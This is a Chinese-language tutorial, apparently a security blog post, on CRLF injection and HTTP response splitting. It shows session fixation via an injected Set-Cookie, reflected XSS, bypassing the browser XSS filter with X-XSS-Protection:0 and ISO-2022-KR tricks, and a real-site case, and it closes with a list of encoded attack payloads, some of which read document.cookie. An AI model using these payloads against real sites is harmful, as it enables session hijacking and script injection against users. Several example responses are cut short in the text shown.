CRLF背景
CRLF是”回车 + 换行”(\r\n)的简称,指的是回车符(CR,ASCII 13,\r,%0d) 和换行符(LF,ASCII 10,\n,%0a)。 在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS(HTTP相应拆分漏洞)
CRLF举例
一般网站会在HTTP头中用Location: http://xxx.com这种方式来进行302跳转,所以我们能控制的内容就是Location:后面的XXX某个网址。
正常的302跳转包如下
1 | HTTP/1.1 302 Moved Temporarily |
如果输入的是
1 | http://www.lsowl.top%0aSet-cookie:JSPSESSID%3Dtest |
注入了一个换行,此时的返回包就会变成这样:
1 | HTTP/1.1 302 Moved Temporarily |
此时就会产生会话固定漏洞, HRS并不仅限于会话固定,通过注入两个CRLF就能造成一个无视浏览器Filter的反射型XSS。
例如:一个网站进行URL跳转的参数链接如下 http://www.lsowl.top/?url=xxx,xxx放在Location后面作为一个跳转。如果我们输入的是
1 | http://www.lsowl.top/?url=%0d%0a%0d%0a<img src=1 onerror=alert(/xss/)> |
返回包会变成如下的样子
1 | HTTP/1.1 302 Moved Temporarily |
这样浏览器会根据第一个 CRLF把HTTP包分成头和体,然后将体显示出来就会构造成一个XSS
还可以输入
1 | %0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2047%0d%0a%0d%0a<script>alert(1)</script> |
Content-Length:0
代表header 的结尾,返回包会变成这个样子
1 | HTTP/1.1 200 OK |
触发漏洞
CRLF绕过浏览器xss-filte
浏览器的Filter是浏览器应对一些反射型XSS做的保护策略,当url中含有XSS相关特征的时候就会过滤掉不显示在页面中,所以不能触发XSS。 关掉filter?一般来说用户这边是不行的,只有数据包中http头含有X-XSS-Protection并且值为0的时候,浏览器才不会开启filter。
所以在绕过时只需要将 X-XSS-Protection:0注入到数据包中,再用两个CRLF来注入XSS代码,这样就成功地绕过了浏览器filter,并且执行我们的反射型XSS。
CRLF挖掘
通过修改HTTP参数或URL,注入恶意的CRLF,查看构造的恶意数据是否在响应头中输出。 注意输入点和输出点, 提交%0D%0A字符,验证服务器是否响应%0D%0A,若过滤可以通过双重编码绕过 , 漏洞利用,使杀伤最大化,将漏洞转化为HTML注入,XSS等。
CRLF案例
案例一
实际中没有碰见过,这里贴P牛以前的实例
新浪某分站含有一个url跳转漏洞+CRLF
1 | http://xxx.sina.com.cn/?url=%0a%0d%0a%0d%3Cimg%20src=1%3E |
加入 CRLF Injection 时注入成功, 图片已经输出在页面中
测试XSS
查看控制台,被XSS Filter拦截,此时注入X-XSS-Protection:0
用字符编码来绕过XSS Filter,当编码是is-2022-kr时浏览器会忽略%0f,这样我们在onerror后面加个%0f就能绕过filter,前提是注入一个 <meta charset=ISO-2022-KR>
案例二
1 | GET /charts/total-bitcoins?cors=true&format=csv&lang=english HTTP/1.1 |
CRLF修复
修复HRS漏洞,过滤\r 、\n之类的换行符,避免输入的数据污染到其他HTTP头。
CRLF-PAYLOAD
探测漏洞
1 | %0d%0aheader:header |
开放重定向
1 | /www.google.com/%2f%2e%2e%0d%0aheader:header |
CRLF-XSS
1 | %0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23%0d%0a<svg%20onload=alert(document.domain)>%0d%0a0%0d%0a/%2e%2e |
XSS绕过
1 | %2Fxxx:1%2F%0aX-XSS-Protection:0%0aContent-Type:text/html%0aContent-Length:39%0a%0a%3cscript%3ealert(document.cookie)%3c/ |
Location
1 | %0d%0aContent-Type:%20text%2fhtml%0d%0aHTTP%2f1.1%20200%20OK%0d%0aContent-Type:%20text%2fhtml%0d%0a%0d%0a%3Cscript%3Ealert('XSS');%3C%2fscript%3E |
其它一些FUZZ的payload
1 | %0d%0a |
参考
http://www.anquan.us/static/drops/papers-2466.html